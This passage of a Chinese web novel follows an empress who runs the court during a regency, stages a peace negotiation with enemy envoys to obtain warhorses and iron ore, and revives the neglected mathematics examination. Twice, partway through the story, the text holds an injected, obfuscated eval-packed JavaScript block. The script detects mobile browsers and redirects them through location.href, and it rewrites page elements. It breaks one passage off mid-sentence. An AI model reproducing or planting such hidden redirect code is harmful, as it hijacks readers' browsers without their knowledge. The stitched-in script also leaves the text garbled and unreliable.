本来以为往后就此安定,谁知道她们回去没几天,家里就开始张罗着要再给她们寻一门婚事了。 钟蘅和宋芷都不愿意再嫁。 在姜同云的帮助下,她们又离开了过去的家,住回了乡主府里。 今年元宵节过后,钟蘅就向姜同云提出辞行。 她和宋芷都想离开金陵,去别的地方看看。 对于这样的决定,姜同云是非常支持的。她给她们准备了路引和随行的护卫,在孟春时节一个难得的好天气里,送她们踏上了远行的道路。 之后,钟蘅和宋芷一路走,一路给姜同云和谢含昭写信。 她们寄回来的信里写满了沿途风光,还有几乎溢出纸张的快乐,一度勾得姜同云都想出门旅游。 听到她俩的新消息,姜同云高兴地笑了:“她们一定又是写了满满几大张纸寄回来的吧。” “可不是嘛!”谢含昭也真心实意地替她们觉得开心,“听说她俩还写了好多诗词,打算攒够了以后一起出本诗集。” 真好啊。 姜同云心想。 她们的人生已经有了新的开始,新的目标。 “替我转告她们,就说我已经等不及,想尽快看她们的诗作了。” 105. 内卷 二月底,谢怀雵指挥越军攻下徐州。 丢失封地后彻底丧失退路的徐王别无他法,只能硬着头皮强攻晋朝国都。 三月,晋朝皇帝驾崩,国都大乱。 谢怀雵率领越朝军队,再下陈、亳两州。 三月底,徐王败于晋朝彰德节度使夏鼎之手,率领残部南逃。晋朝皇帝幼子在夏鼎扶持下登上皇位。 四月,鄂州守军在谢怀雵指挥下,自西南面向晋朝发起进攻,并于月底成功夺下安州。 刚登基的晋朝小皇帝封彰德节度使夏鼎为相国公,同时加封其为开府仪同三司兼骠骑大将军。 同月月中,晋朝新帝下诏令晋朝南面四位节度使追剿徐王残部。 四名节度使以抗击敌国为由,无一人响应。 五月,四处逃窜的徐王被射杀于乱军之中。 六月,晋朝新帝命令四名节度使共同阻击越朝进犯。 六月底,越军攻破宋州,生擒归德节度使。 归德节度使战败的消息传回晋朝国都,把持朝政的夏鼎大怒,欲追究其余几人抗敌不力之过。 为求自保,余下三名节度使以夏鼎挟天子以令诸侯为由,不再听命于朝廷。 七月,又有数名节度使陆续脱离晋朝朝廷掌控。 晋朝大乱。 八月,晋朝新帝派遣使者赴越,欲与越朝和谈。 ***** 这一年的中秋,过得冷冷清清的。 因为谢怀雵不在金陵,姜同云就没让宗室回京,中秋的宫宴自然也就没有办成。 中秋当天,姜同云离宫陪住在乡主府里的老爷子用了一餐午饭后,就又赶回宫里继续处理朝政。 晚上,她在椒房殿里设了一桌小宴,邀了谢含昭和雍国夫人母女。四人聚在一起赏了会儿月,共饮了几杯酒水。 宴会散后,姜同云又回了紫宸殿,继续处理根本办不完的公务。 不知是不是饮了酒的缘故,她只看了两本奏折就有些心神不属。 发现自己进不去状态后,姜同云干脆放下奏折,拿起信纸,开始给谢怀雵写回信。 她在信中详细写了近期朝堂上的情况、各项朝政推进进度以及部分人事调动,还向谢怀雵询问了几个她拿不太准的事情该如何处理。 洋洋洒洒写完这许多,信纸已堆起一叠。 姜同云取来信封装入信纸,正准备封口的时候,看到摆在案头上的一封书信。 这是谢怀雵从宋州寄回来的。 厚厚的一叠信纸里,除了头两张纸写了他在宋州主持安民固防之事以外,其余记得全都是他近期遇到的琐碎事情。 信上写的事情都非常零散,大约谢怀雵每想起一件事,就会提笔记录下来。等攒够了一叠,就随着定期往来的军情奏报一同寄回金陵。 信纸中间还夹了一枚小小的、还没开始变黄的银杏叶。 这是谢怀雵巡查宋州附近乡镇的时候捡到的。 谢怀雵在信里说,看到那棵细细瘦瘦的银杏树,他就想起两人成亲之前去游湖的事情。姜同云下岸去看银杏,回来的路上还救下了一个素不相识的姑娘。 可惜宋州没有那么好的银杏树。 宋州也没有那么好的姜同云。 姜同云抚摸着那枚单独摆在笔架旁的小小银杏叶。回想起谢怀雵书信里的内容,她就忍不住勾起唇角。 圆圆的月亮挂在窗边,给窗台染上了一层银辉。 姜同云又拿出一页信纸,沾上墨水,添了几笔。 今夜月明。 思君甚矣。 ***** 紫宸殿里。 “下个月,晋国派来的时辰就要达到金陵了。吏部和鸿胪寺送来的接待预案本宫已经看过,做得都还不错。尤其是鸿胪寺的那份,内容详实、考虑周到,看得出来非常用心。” 预案的事情,是姜同云在四月份提出来的设想。 在应对此类事务上,越朝官员们过去通常只按一个方案走——因循旧例。上一次办类似的事情用的什么规格,这次就也同样使用这种规格。要是本朝没有旧例可循,那就翻阅史书往上追溯。 总之,一切都按老规矩办。 就连赈灾这样的大事,也逃不过“旧例”二字。拨付赈灾款项的时候基本也都是参考过往案例,顶多根据实际情况再稍微调整一下具体金额。 去年帮谢怀雵批折子的时候,姜同云就已经觉得这种方法并不合理了。 不说别的吧,单在灵活性上,这种凡事都遵从前例的法子就差了许多。 过去的“旧例”几乎框死了处理政务的方法。要是因为情况有误而发生意外,朝廷通常也只能事后补救。 所以等姜同云开始监国之后,她就一直想要寻个机会,现在朝中推行一套更有效率的工作方法。 瞌睡就有人送枕头。吏部的那位王尚书亲自给姜同云送去了最好的理由。 赶在二月的最后一天,吏部着急忙慌地办完了考课的事,将考牒发往各州。 但因时间有限,吏部的差事办得粗糙,光发考牒这一环节就闹出来不少错漏。 等各州发现收到了错误的考牒,报到朝廷后,姜同云借题发挥,好好查了一回去年考课的内情。 这一查,又揪出来不少的问题。 在谢怀雵的支持和六位辅政大臣的共同合作下,姜同云一改往日温柔和善的作风,态度强硬地向吏部追责。 此番整顿之后,吏部换掉了总计五名官员,其中还包括了一位吏部侍郎。 考课事了后,姜同云就开始在自己接触最多的户部里试点推行工作预案制度。 考虑到大家的接受能力,加上姜同云也不希望施行一项过于僵化的制度,所以她没有对预案的格式做出明确要求,只规定了包括负责人在内的、几项必须写明的内容。 起初,户部在收到这项要求之后是非常不解的。 我们过去一直都是这么办事的,虽然偶尔会有些小问题,但从来没闯出过大祸,皇后娘娘为什么非要我们提前做一份什么“预案”呢? 虽然心里不解,但看隔壁吏部挨罚后臊眉耷眼 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被当众表扬的鸿胪寺卿颇为自得地挺了挺胸膛,而被比下去的礼部尚书就难免有些神色黯然。 坐在上首的姜同云把两人的反应收入眼中,不由微微抬了抬唇角。 卷起来好啊!朝臣内卷,办事效率才能更高嘛! 夸完鸿胪寺,姜同云又把目光投向了户部:“户部递交的那份,本宫也看过了。大体上没什么问题,只是关于向晋国索要赔偿的金额,本宫觉得,还能再往上提一提。” 户部尚书立刻起来回话:“回禀皇后娘娘。赔偿金额是户部根据晋国近三年来大致的税收收入估算所得。如今晋国内乱不休,若是再多,恐怕晋国无力偿还。” 和谈的事,是谢怀雵首肯的。要是为了多要些钱导致此次和谈失败,恐怕会打乱前线的计划。 所以户部估算赔偿金额的时候下意识地往保守的方向计算,不敢狮子大开口索要太多。 姜同云看过户部的预案,知道他们提出的金额其实是相对合理的。毕竟预案里连户部估算晋国税收的方式都写得一清二楚,根本不存在故意放水的可能。 但谈判嘛,向来都是漫天要价,坐地还钱。 姜同云笑着点了点头:“这个本宫清楚。但本宫想要的,并不是那一点钱财。” 还是钱相和章相最先反应过来:“莫非皇后娘娘是想借此机会,多要些别的东西?” 比如战马,比如铁矿。 越朝地处南方,养出的战马一向不如北方,所以在骑兵培养上难免会更加吃亏。 至于铁矿,越朝当然也有产出。但这种能锻造各种器具、关乎国家命脉的好东西,谁会嫌多呢? 姜同云丝毫不打算掩饰自己的目的:“战马、铁矿,或是别的什么咱们大越缺少的东西。晋国如今正在内乱,这是个不容错过的好机会。” “和谈之事,要等陛下回京之后才能正式进行。在此之前,鸿胪寺一定要好好‘招待’来访的使团。” 这一次,姜同云要试着钓上一条前所未有的大鱼! 106. 商量 金陵东市,玉醴楼中。 贺鸣又在心里温习了一遍自己等会儿想要套话的内容。 作为此次晋朝派遣至越朝参与和谈一事的副使,贺鸣临行前也是受到了一番殷切嘱托的。 不过当时的他并没有太把和谈的事情放在心上。 不是贺鸣觉得此事无关紧要,而是此次使团的领队乃是相国公夏鼎的心腹,贺鸣深知自己在使团里毫无话语权,不过是个陪衬罢了。 从晋朝到金陵的这一路上,使团里的其他人也确实没把贺鸣这个名义上的副使当成一回事。 直到前阵子,贺鸣闲逛金陵时,在东市里和一位贵公子打扮的人起了冲突。对方胡搅蛮缠,即便贺鸣有心忍让,也叫那人过分嚣张的态度激起了火气。 幸亏有一位路过的好心人替他解了围。 和那位好心人互通身份之后,贺鸣意外地发现,对方竟是越朝去年的新科状元。 对这位小裴大人,贺鸣也是有所耳闻的。 听说他做得一手锦绣文章,曾被越朝两位尚书仆射亲口夸赞,甫一入翰林院,就被调去尚书省做文书。 今年三月,越朝监国的姜皇后清查吏部。这位小裴大人在钱相、章相的联名举荐下,调入吏部考功司,升任吏部郎中一职。 一年不到就当上了正五品的官职,还是在考功司这样要紧的位置,可见这位小裴大人有多受姜皇后和两位尚书仆射的信任了。 对贺鸣来说,结识裴绎是一件好事。尤其是当他们使团在金陵处处碰壁的情况下。 晋朝派来的正使唐翌一到金陵,就曾向鸿胪寺的官员提出拜见姜皇后的请求。但姜皇后以“和谈之事需等陛下回京后方能正式进行”为由,拒绝与唐翌会面。 此后,晋朝使团在唐翌的带领下又做过数次尝试,想在和谈之前探一探越朝的底。然而越朝方面犹如一块铜墙铁壁,根本没有给晋朝使团留下任何空隙。 在这样的情况下,贺鸣主动站了出来,说他最近结识了新任吏部郎中,可以尝试以此为突破口。 果然,此话一出,贺鸣在使团里的地位大大提升。就连一向自恃身份、眼高于顶的唐翌,最近都对他客客气气的。 不过,主动揽下试探一职的贺鸣,进展也不是那么的顺利。 别看裴绎年纪不大,性格其实相当谨慎。在知道贺鸣的身份以后,他就处处留意,从不在贺鸣面前谈及有关越朝朝政之事。 贺鸣装作只想和裴绎私人论交的样子,废了不少心思和时间来跟裴绎拉进关系,这才让裴绎的态度稍许放松。 觉得时机已经差不多了,贺鸣今天就又约了裴绎来酒楼吃饭,打算趁此机会,多灌他两杯。等他醉了再试着从他口中套话。 贺鸣正在盘算劝酒的话,门被人敲响。随后,裴绎就在店小二的指引下进入这间包厢。 贺鸣连忙笑着起身,迎了上去:“裴贤弟!” “贺兄。”裴绎客气地拱了拱手,“让贺兄久等了。” “哎,哪里的话。贤弟事务繁忙,能来赴约愚兄就已经很是高兴了。” 两人你来我往地客套了几句后,贺鸣吩咐小二端来酒菜,自己则拉着裴绎入座:“听说这玉醴楼里的酒最是出名,贤弟今日陪愚兄小酌几杯可好?” 裴绎有些迟疑:“这……实不相瞒,明日虽没有朝会,但小弟要在皇后娘娘面前奏对。” 贺鸣当即装出一副体谅的模样:“贤弟既有公务在身,那就算了吧。” 他表现得这么痛快,裴绎倒有些不好意思起来:“只小酌几杯的话,问题应该不大。” 见裴绎中套,贺鸣便笑着捧了他几句“豪爽”、“周到”之类的好话,直把这位年纪轻轻的吏部郎中夸得愈发飘飘然起来。 在贺鸣有心设计下,裴绎果不其然地喝多了。 见裴绎不自觉地提高了音量,话也变得密实起来,贺鸣知道他已经酒意上头,当即按照先前计划的那样,开始向裴绎诉起苦来。 “……那夏鼎狼子野心,我们陛下实在可怜啊!” 裴绎面露同情之色,重重地拍了拍贺鸣的肩膀:“有贺兄这样赤胆忠心的臣子在,相信贵国必能重回正途。” 贺鸣被拍得肩膀一疼。但想到醉酒之人控制不住力道,他又强行忍了下去。 他假哭了一阵,见裴绎的情绪被拱得差不多了,才试探着说道:“实不相瞒,愚兄临行前,我国陛下曾殷切嘱托于我,望我能与贵国达成和谈。只是愚兄无能,到了金陵这么久,都没能得见贵国的姜皇后。愚兄心里……实在是没底啊。” 失去判断能力的裴绎果然上钩:“贺兄放宽心。皇后娘娘平素待人最是和善,如今不见你们,也只是因为朝上反对和谈的臣子太多,皇后娘娘也左右为难罢了。不过既然我们陛下答应让你们来金陵,那就说明他心中也是支持和谈的。贺兄只要安心等待陛下回朝即可。” 裴绎说得情真意切,可惜贺鸣丝毫没有被他安慰到。 什么?越朝朝臣大多反对和谈?! 还有越朝那位陛下。虽说他答应让晋朝使团来金陵,但唐翌当初可是直接带着使团去宋州求见过他的。 要是越朝皇帝真想和谈,他在宋州就能跟使团商量,何必多此一举,把人赶到金陵来呢!还不是想使一招缓兵之计,看看能不能趁这段时间再从晋朝咬块肉下来! 贺鸣越想越觉得和谈之事恐怕难行。 见贺鸣没有答话,裴绎又重重拍了贺鸣两下:“贺兄不必忧虑。依小弟拙见,我们皇后娘娘其实是很支持和谈的。” 闻听此言,贺鸣心中燃起一丝希望:“此话当真?” “真的!”裴绎重重点头,“你想,现在陛下膝下没有子嗣,他一直在外征战,皇后娘娘如何不忧心呢?当然还是早日和谈,让陛下安稳待在金陵更好啊!” 这个理由过于有力,贺鸣一下就相信了:“贵国皇后娘娘所虑甚是啊!” 顿了顿,贺鸣眼珠一转,又夸赞起裴绎来:“贤弟聪慧明断,无怪姜皇后对你信任有加啊!” 这番话果真让裴绎受用有加。酒意上头的他没控制住,又向贺鸣吐露了一些消息出来。 当天宴散后,贺鸣目送醉醺醺的裴绎离开后,志得意满地上了自家使团的马车:“走,咱们回去!” ***** 九月初,谢怀雵班师回朝。 为了庆祝此次大声,姜同云趁着重阳之日,组织朝臣们共同参与了一次登高团建,还特意让鸿胪寺邀请晋朝使团一同参加。 自打上次裴绎在玉醴楼里“醉”过一场后,晋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127714|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝使团就把目标瞄准了姜同云。因为暂时见不到她,他们还想法设法地和老爷子搭上了线。 眼看鱼儿马上就要入网,姜同云决定趁此机会,再朝他们撒一把饵料。 晋朝使团根本没发现自己被人上了套,只当是他们在老爷子那里使的力气有了回报,当即高高兴兴地参加了越朝官员们的集体活动。 在挨了越朝官员们不少阴阳怪气和冷嘲热讽之后,强忍一肚子火气的唐翌和贺鸣二人被一名内监请到了一处隐秘的屋舍之内。 隔着一层帘幕,他们终于见到了那位如今正把持越朝着朝政的姜皇后。 姜同云保持着裴绎给自己立好的“温柔和善”人设,不仅语调温和地给两人赐了座,还亲切地问了问他们进入金陵的这段时日过得如何。 虽然看不见这位姜皇后的表情,但她的态度成功打消了唐翌和贺鸣心中最后一丝疑虑。两人悄悄对视一眼,都认为应该从这位看上去就不够强势的皇后娘娘入手,为晋朝争取更多的利益。 闲话几句之后,姜同云主动把话题引向和谈:“本宫今日请两位使者来,其实也是想要先和你们聊一聊和谈之事。” “两国相战,受苦的只有百姓。本宫也很想早日结束战争,还两国边境的百姓一个安宁。只是……有些人认为如今局势大好,不该止步于此。故而陛下也一直很是犹豫。” 听到这番话,唐翌和贺鸣交换了一个眼神:这就跟裴绎说的对上了! 越朝内部如今意见不一,一部分官员主战,另一部分人主和。眼前的这位姜皇后很明显也是主和一派。考虑到她如今正在监国,保不齐她就是主和派的领头人。 想到这里,唐翌也不藏着掖着,直接从怀中掏出一卷帛书:“我国是诚心要与贵国和谈。此乃我国陛下亲手所写的国书,还请皇后娘娘一观。” 姜同云从宫人手中接过帛书,展开看了起来。 嗯……晋朝皇帝认同越朝打下的领土都归越朝所有,两国重新划定边界。晋朝会赔偿越朝一笔钱财(包括钱币、粮草、布帛和一定量的战马),除此之外,每年还会给越朝一笔岁贡。两国结成兄弟之盟,从此永世修好。 国书上所写的钱财折算一下,跟户部先前估算出来的金额大差不差。看来户部琢磨出来的这套估算模型还是蛮不错的,以后可以在此基础上继续优化改进。 姜同云很快扫完了最关键的部分。但她没有收起帛书,而是装出仔细研读的模样,心里快速盘算起来。 理顺接下来要说的话后,姜同云才装模作样地收起那份国书,沉吟片刻后故作为难地说道:“贵国国君所写的这封国书,确实言辞恳切。只是关于赔偿的部分……” 作为官场老油条,唐翌立刻听出了姜同云的言下之意:这是觉得给得不够多啊。 只是嫌少,那就还有商量的余地。 好在出发前,相国公私下授权唐翌,给了他一定的决定权。他完全可以代表晋朝,在一定限度内提高赔偿数额。 只要有个看起来光鲜亮丽的理由就行。 想到这里,唐翌自信开口:“贵国替我国击败过逆臣,我国陛下一直心存感激。贵国先前所糜耗的钱粮军资,自然应当由我国支付。” 闻听此言,帘幕后的姜同云勾起唇角:上钩了。 107. 和谈 九月中旬,谢怀雵率军抵达金陵。 次日,帝后于紫宸殿内召见晋国使臣。 双方照例说完一套外交辞令后,唐翌代表晋国,送上了修改过后的和谈国书。 这封国书和上次拿给姜同云看的没有太大差别,只在赔偿款上提高了一成多。从姜同云那里打探过越朝态度的唐翌相当自信,认为越朝皇帝一定会同意这样的条件的。 早就和姜同云对过剧本的谢怀雵只扫了几眼,就“啪”地一声合上帛书,随后微抬下巴瞥向坐在下手的唐翌、贺鸣二人,不冷不热地说道:“这就是贵国的诚意?” 原本自信满满、准备好了一箩筐好话等着吹捧越朝皇帝的唐翌一下被对方的态度打蒙了。 他与贺鸣二人对视一眼,两人具在对方眼中看到了无法掩饰的茫然无措。 不等他们理顺思路,谢怀雵轻描淡写地说道:“你们若是真想和谈,那赔偿的金额,至少要再加三成。” 三成!还是再加! 唐翌被这番话吓得一激灵。他壮起胆子开口道:“望陛下明鉴。并非我国不诚心,实在是我们无力偿还更多啊!” 谢怀雵嗤笑一声,把一个傲慢自大的皇帝形象演了个十成十:“当初可是你们先来进犯我朝。如今朕只是想多要一些补偿,你们就这样推三阻四的。朕可完全看不出你们的诚意在哪。” 眼见唐翌冷汗直冒,姜同云温温柔柔地开了口,唱起了白脸的戏份: “陛下何必动怒?晋使远赴金陵奉上国书,足以见其诚心。” “何况晋国如今确实诸事繁多,大概也是真的心有余而力不足吧。” 这是她和谢怀雵一早就商量好的。 谢怀雵负责态度强硬,打压晋使;姜同云则从中说和,调节气氛。两人一推一拉,吊住唐翌二人的情绪,争取利益最大化。 加上重阳那日,姜同云已经提前暗示过唐翌,如果钱不趁手,可以用别的东西替代。这一套组合拳打下来,不怕对方不上钩。 果不其然,见听了劝说后的谢怀雵虽然脸色稍霁,但仍旧眉头紧锁,唐翌只能试探着问道:“赔款方面,我国确实力有不逮。不知陛下可否允准用别的代替?譬如布帛。” 谢怀雵心里一动,直到对方已经开始咬钩。 他不动声色,继续装出一副不太满意的样子。 见对方仍旧不为所动,唐翌咬了咬牙,继续加码:“或是战马?” 来了! 听见对方主动提起战马,谢怀雵终于舍得给出一点回应:“那你们就再出六千匹战马。” 再出六千! 唐翌眼前一黑,几乎晕厥过去。 他们的国书上也就只写了四千啊! 唐翌强撑着回答道:“再加六千实在太多。最多只能……再加两千!” 再加两千,那就共有六千。这样也很不错了。 不过姜同云和谢怀雵的目的可不止于此。 谢怀雵冷哼一声,摆出一张大为不满的臭脸来。 帘幕后的姜同云憋着笑,开口劝和:“战马难得,真要他们一时之间拿出一万来,怕是真有些强人所难了。” 顿了顿,她又道:“既然晋国境况艰难,那不如这样,赔偿款里只加两千战马,往后每年的岁贡再提高两成,权做补偿,如何?” 越朝富庶,他们想要的当然不是钱。 但姜同云敢开这个口,就是拿准了唐翌不敢应下。 毕竟晋国今年的境遇,实在是不太妙。 夏鼎把持朝政之后,晋国各地的节度使都开始蠢蠢欲动,目前已经有好几人宣布自立为王。 在这种情况下,晋国收税的难度大大提升。根据户部的估算,他们今年夏税大约只收上来往年的一半左右。 如果不能快速解决节度使叛乱之事,晋国往后的日子只会愈加艰难。 唐翌不是傻子。在清楚自家状况的前提下,他不会胆大到敢开口应承以后的事情。 不出姜同云所料,唐翌急得冷汗直冒,连忙起身求情。 但谢怀雵软硬不吃,还故意重重拍了一下扶手:“这也不行那也不行,你们究竟还想不想和谈了?!” 说着,谢怀雵抬手准备叫人。 唐翌和贺鸣二人吓得差点跪倒下去。 见情绪差不多到位,姜同云开口拦住了想要赶人的谢怀雵。 她压着声音,装出劝说的样子,实际开始跟谢怀雵沟通接下去的戏码:“你好像有点演太过了。” 谢怀雵测过身,同样压低声音:“过了吗?” “过了。看他们吓得。” 谢怀雵瞥了一眼立在下面、缩着脖子鹌鹑似的两人:好像是有点太凶了。 姜同云道:“等会你就装生气别说话,看我的。” 两人又窃窃私语一阵,姜同云才不紧不慢地开了口,只是语调已不复先前那般柔和:“陛下已经一再退步,两位使者若真心想要和谈,就不该践踏陛下的一片好意。” 听到这话,唐翌连额头的冷汗都来不及擦,连忙跪下求情。 唐翌说完一箩筐的好话,姜同云却没有立刻搭茬,又晾了他好一会儿。 等唐翌的情绪被顶得差不多了,姜同云才慢悠悠地亮出自己的真实目的: “既然贵国出不起钱,那不妨重开两国边境互市,同时承诺每年以固定的价格向我朝出售一定量的铁矿,以做补偿。如此一来,你我双方互利互惠,各得便宜。陛下觉得,这样如何?” 早就知道会有这茬的谢怀雵憋着笑,皱着眉假装考虑许久,终于勉为其难地点了点头:“勉强可行吧。两位使者觉得如何?” 唐翌还能如何觉得?他都怕自己再多说一句,就要被人拖出去了! 顶着谢怀雵的眼神压力,唐翌硬着头皮道:“此事……需要经过我国国君首肯。” 目的达成,谢怀雵装作不耐烦地摆了摆手:“给你们七天时限。七天后若是不能给出让朕满意的答复,那往后就不用再提和谈之事了。” ***** 唐翌二人离开后,姜同云从帘幕后走出,在谢怀雵身边坐下。 “不是我不信任夫人。但售卖铁矿是大事。就算唐翌愿意,只怕晋国内部也不会那么轻易答应的。” 姜同云笑着打趣道:“既然如此,那你为何还要配合我演这场戏呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133015|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢怀雵也笑了:“夫人想做,我肯定要配合。要是晋国真的同意,那自然是再好不过;就算他们不同意,咱们也能再提别的要求。横竖不亏。” 听完谢怀雵的理由,姜同云也不卖关子,直接把手中一本奏折放到他的面前:“上次户部不是估算了晋国愿意支付的赔偿金额吗?大体上相当准确。所以前几日,我又让他们算了算晋国接下去几年的税收状况。” 谢怀雵接过奏折,快速翻看起来。 等看到最后那串数字后,谢怀雵忍不住笑了:“要是户部所算不错,晋国接下来的日子可不太好过啊。” 姜同云颔首:“正因如此,我才敢提出买铁矿的要求。” 谢怀雵想了想,明白了她的意思:“夏鼎如今把持晋国朝政,一定很想快速压下晋国各地的反对声浪。但晋国如今缺钱,不论做什么都步履维艰。这个时候,有人提出愿意给他们送钱,即便明知这是饮鸩止渴,夏鼎大概也很难拒绝这样的诱惑。” 如果现在当政的是正经的晋国君主,那他可能还受得住诱惑。但对夏鼎这样,上位过程有着太多争议的权臣来讲,当下永远比未来重要。 谢怀雵由衷夸赞道:“夫人进步得越来越快了。” 姜同云毫不推辞,心安理得地接下了谢怀雵的夸奖。 她点了点户部那封奏折:“这封奏折里,还藏了第二件事。” “哦?” “关于想出这套估算之法的人。” 听到这里,谢怀雵也起了好奇心:“这套算法确有独到之处。是户部何人所想?” “此人姓方,如今正任户部员外郎一职。” “有此等才干,居然只是户部员外郎?他是为官时日太短?又或是曾经犯过什么错吗?” 听到谢怀雵的问题,姜同云忍不住叹了口气:“都不是。我看过他的履历。他十七年前科考入仕,三年后得授官位。此后虽无大功,但也一直没有过错。这么多年未得晋升,只是因为他当年考的是明算科,而非进士出身。” 越朝科举并非只有进士一科,还有诸如明经(考察儒家经典)、明算(考算学)、明法(考律法)等科。 只是其余几科就算考中,往后仕途晋升也远不如进士出身。这就导致世人虽对科考趋之若鹜,但追捧的都是进士科,参加其余几科的学子数量日趋稀少。 到太宗朝时,因考生太少,明经明算等科就已不再三年一考了。 那位方姓官员考中后,足足坐了三年的冷板凳。三年之后,他虽然有了官位,但也只是在司农寺里做了一个从七品的主簿。那个时候,与他同年考中的进士科学子,最差的也都有了六品官位。 要不是后来,前任户部尚书(即雍国夫人之父)发现了他在算术上的才能,做主将他调入户部,只怕他终其一生都不能发挥出自己的真实才干。 谢怀雵忍不住叹了一口气:“若只是因为考的是明算科,就埋没了这样的人才,那也真是太过可惜了。” “是啊。”姜同云点了点头,“所以,我想将明算等科恢复至三年一考。” 看着神色坚定的姜同云,谢怀雵莞尔而笑:“那就去做吧。我们一起。” 108. 怀孕 不出姜同云所料,收到唐翌传回的消息后,夏鼎虽知向越朝售卖铁矿是在养虎为患,但为了解决当前的困局、维护自己得来不易的地位,夏鼎还是力排众议,答应了越朝提出的要求。 在经历过两轮商谈,确定双方每年铁矿的交易数量和金额之后,和谈条约正式签订。 战争虽暂时结束,但留下来的事情可一点也不少。 边境新占几城的民心虽已被谢怀雵大致安抚,但后续治理不能出漏子。而且这些州府的官职基本空缺,也都需要尽快补齐。 再加上明年就要进行的春闱(帝后还临时要求加开明算、明法两科,选拔人才以备治理边境),以及其他一些琐碎杂事,朝中竟比和谈之前还要忙上几分。 所以某天早朝的时候,谢怀雵当着所有朝臣的面提出,要让皇后继续帮忙打理朝政。 此话一出,自然招致许多反对声。 反对的官员理由相当充分:先前是因为陛下出征且国无储君,所以他们才不得不捏着鼻子认下了皇后监国之事。现在陛下就在国都之中,再要让皇后掌权,那成何体统?! 尤其是一些顽固份子。他们觉得皇后监国的这半年多里,实在是把朝臣们折腾得不轻。不说别的,就说皇后强制推行的那个“预案”,弄得现在多出多少事情来!他们原本打算趁陛下回京之后,上书建议废除这项没用的制度。这要是皇后继续掌政,哪里会给他们拨乱反正的机会啊! 但,谢怀雵要是能向这些人退步,他就不是谢怀雵了。 朝臣们在下面反对,谢怀雵就纯当耳旁风,托着下巴自顾自地发呆。等他们说累了、吵不动了,谢怀雵就出来阴阳怪气了: “朕在外领兵之时,国事付与皇后,从未有一丝错漏。和谈之事,也全靠皇后从中筹谋,才能有如今的结果。诸位若有谁,自认在过去半年里立下过超出皇后的功劳,那朕也可以将朝政分与你来打理。” 闻听此言,底下的朝臣们都不敢作声了。 不是他们觉得自己比不过皇后,实在是谢怀雵最后一句说得太重。和君主分权这样的事,除非存了谋朝篡位的心且有与之相配的能力,否则谁敢说出口,都是一个死。 靠着一手偷换概念的打法,谢怀雵成功震慑住反对之人。 见无人再敢出言反驳,谢怀雵一锤定音:“从今日起,皇后照旧听政。户部相关事务以及来年春闱之事,皆报与皇后决断。” ***** 将户部和科举的事情分给姜同云后,谢怀雵就腾出手来,专心致志地处理起军制改革的事情来。 对越朝军制进行改革的想法,最初是由邢国公在世时提出的。 越朝吸取唐亡的教训,取消了节度使一职,同时在关键几州设立驻军,通过驻军统领和几州刺史互相节制,以此来达到限制军权的目的。 但先不说这种限制手段对限制军权究竟有多少作用,只从黄桓一案来看,驻军统领对刺史的节制效果就相当之低。 可要加大驻军统领的权限,不说远的,只看北边如今乱成一锅粥的现状,就知道后续的危害有多大了。 邢国公在边境的这些年里,也曾陆续向先帝提过一系列的改革措施。有些得到了实施,但更多的,受限于实际情况,未能得到落实。 他原本是打算等解甲后返回金陵,配合先帝慢慢推行自己的方案。谁知天不与寿,邢国公未能离开他守了一辈子的宿州。 谢怀雵现在要做的,就是继承邢国公的遗志,继续完善并且推进这项改革。 谢怀雵的计划,姜同云是清楚的。她对这一部分知之甚少,帮不上谢怀雵什么,能做的也就只有打理好户部和明年春闱的事情,让谢怀雵能安心做他想做的。 但—— 该说不说,谢怀雵一提出要改革军制,朝上对姜同云重掌朝政的反对声都消失了不少。 毕竟皇后掌权,只是有点于礼不合;但陛下改革,那可就实打实动了不少人的核心利益了! 有谢怀雵在前面顶着,姜同云这边逐渐变得顺利起来。甚至还有一些一直反对姜同云的官员,居然一反常态,跑来她的面前,好声好气地求皇后帮着劝谏陛下停止改革。 那姜同云就只能……表面答应,然后把人记下来,偷偷汇报给谢怀雵了。 夫妻俩一个唱红脸,一个唱白脸,两头发力。等时间来到次年春闱的时候,军制改革早已落地,而姜同云那边,也借科举之事,顺利把控住了包括吏部和礼部在内的不少朝廷部门。 春闱结束之后,新一批的士子入朝。 他们当中,经由明算、明法两科入仕的学子,直接被授予了地方八品官职,很快就走马上任,奔赴越朝各地开始为官生涯;余下进士科的学子,也接替了裴绎那批恩科学子的位置,勤勤恳恳地开始在朝中打卡上班。 至于裴绎他们,作为谢怀雵登基后第一批录取的进士,他们的待遇自然不差。 越朝有规定,四品及以上的京官,须在地方任职至少六年。原本以各州府官职全都满员的情况,裴绎这批进士还需要在金陵磨上几年,才能候补到州府的缺。但谢怀雵打了好几州回来,地方的职务空缺一下就变多了,正好能把他们安排过去。 像裴绎,在吏部历练了不到一年,就又升官去越州做了从四品的别驾。 他今年才二十三,有很大概率能在而立之年以前,就任京中四品大员。 尘埃落定之后,那些跳着脚反对这反对那的顽固分子一转头,惊讶地发现自己努力了小半年,居然什么什么都没有收获到。 没能阻拦军制改革就算了,皇后更是借着春闱和官职调动的事情,完全在朝中站稳了脚跟。 往年他们都会借着春闱的机会,拉拢新科进士做自己的门生。前年那场恩科,他们还没摸清楚新帝脾性不敢下手,就已经错过了一批;今年更好了,他们光顾着劝陛下拦皇后,回头一看,那些进士们居然被明算、明法两科学子授官的事情刺激得直接去抱皇后大腿了! 